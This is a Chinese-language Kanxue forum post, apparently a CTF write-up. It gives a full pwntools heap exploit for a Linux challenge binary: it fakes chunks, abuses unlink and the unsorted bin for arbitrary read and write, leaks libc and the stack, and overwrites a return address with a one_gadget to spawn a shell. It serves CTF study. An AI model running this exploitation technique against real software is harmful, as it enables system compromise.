首页
社区
课程
招聘
1
[原创] 2019看雪CTFQ2第二题WP
发表于: 2019-6-14 16:12 2829

[原创] 2019看雪CTFQ2第二题WP

2019-6-14 16:12
2829

思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import sys
from pwn import *
 
###########
# args
###########
context.os          = 'linux'
context.arch        = 'i386'
context.log_level   = 'debug'
context.terminal    = ['tmux', 'splitw', '-h']
 
elf_file  = './pwn'
libc_file = './libc-2.27.so'
###########
 
elf     = ELF(elf_file)
libc    = ELF(libc_file)
rop     = ELF(libc_file)
 
def malloc(index, content):
    p.sendlineafter('4.show\n', '1')
    p.sendlineafter('index:\n', str(index))
    p.recvuntil('gift: ')
    ret = int(p.recvuntil('\n')[:-1], 16)
    p.recvuntil('content:\n')
    p.send(content)
    return ret
 
def free(index):
    p.sendlineafter('4.show\n', '2')
    p.sendlineafter('index:\n', str(index))
 
def edit(index, content):
    p.sendlineafter('4.show\n', '3')
    p.sendlineafter('index:\n', str(index))
    p.recvuntil('content:\n')
    p.send(content)
 
def show(index):
    p.sendlineafter('4.show\n', '4')
    p.sendlineafter('index:\n', str(index))
    return p.recvuntil('\n')[:-1]
 
def write(addr, content):
    edit(29, p64(addr) + '\n')
    edit(30, content)
 
def read(addr):
    edit(29, p64(addr) + '\n')
    return show(30)
 
def run():
    # for i in range(12):
    #     malloc(i, 'a\n')
    # free(6)
    # malloc(6, 'a' * 0x28 + '\xf1')
    # free(7)
    addr = malloc(31, '\n')
    free(31)
    malloc(31, p64(0) + p64(0x111) + p64(0x404178 - 0x18) + p64(0x404178 - 0x10))
    for i in range(1, 19):
        malloc(i, p64(0)*4 + p64(0xf0))
 
 
    for i in range(18, 11, -1):
        free(i-1)
        malloc(i-1, p64(0)*4 + p64(0xf0) + '\xf1')
        free(i)
 
    free(5)
    malloc(5, p64(0) * 4 + p64(0x110) + '\xf0')
    free(6)
 
    edit(31, p64(0x404180) + p64(0x404170) + p64(0) + p64(addr - 0x10 - 0x404170 + 1))
    free(28)
    libc.address = u64(read(0x404188).ljust(8, '\x00')) + 0x7fac7a2f9000 - 0x7fad7a6e4ca0
    log.success('%s ===> %x' % ('libc.address', libc.address))
 
    environ = libc.symbols['environ']
    log.success('%s ===> %x' % ('environ', environ))
 
    return_addr = u64(read(environ).ljust(8, '\x00')) + 0x7ffe3b8f9578 - 0x7ffe3b8f96a8
    log.success('%s ===> %x' % ('return_addr', return_addr))
 
    one_gadget = libc.address + 0x4f2c5
    log.success('%s ===> %x' % ('one_gadget', one_gadget))
 
    write(return_addr, p64(one_gadget) + '\n')
 
    p.interactive()
 
if __name__ == '__main__':
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
    else:
        p = process(elf_file, env={'LD_PRELOAD': libc_file})
        gdb.attach(p,'''
        b *0x4016bb
        ''')
 
    run()
  1. 伪造fake chunk,free smallbin 绕过tcache造成consolidate,通过unlink使得list第31(0x404178)个指针p指向p-0x18位置;
  2. [坑点来了]正常情况下就可以任意读写,但限制了一次写,并且0x18刚好写不到0x404188及0x404180;并且即使在list第0(0x404080)个指针用unlink,也写不到限制malloc范围的指针0x404060,即不能通过任意malloc chunk来任意写;
  3. 绕过限制的办法是伪造超大chunk,一次free到unsortedbin,改写fd,bk,进而绕过写次数,顺便绕过读限制;(估计是非预期)
  4. 有了任意读写就很简单了;(还有一坑是网速,wifi过慢60秒alarm总是触发。。。希望以后题目时间调大一些)
  • 伪造fake chunk,free smallbin 绕过tcache造成consolidate,通过unlink使得list第31(0x404178)个指针p指向p-0x18位置;

  • [注意]看雪招聘,专注安全领域的专业人才平台!

    收藏
    免费 1
    支持
    分享
    赞赏记录
    参与人
    雪币
    留言
    时间
    PLEBFE
    为你点赞~
    2023-1-25 04:22
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回

    账号登录
    验证码登录

    忘记密码?
    没有账号?立即免费注册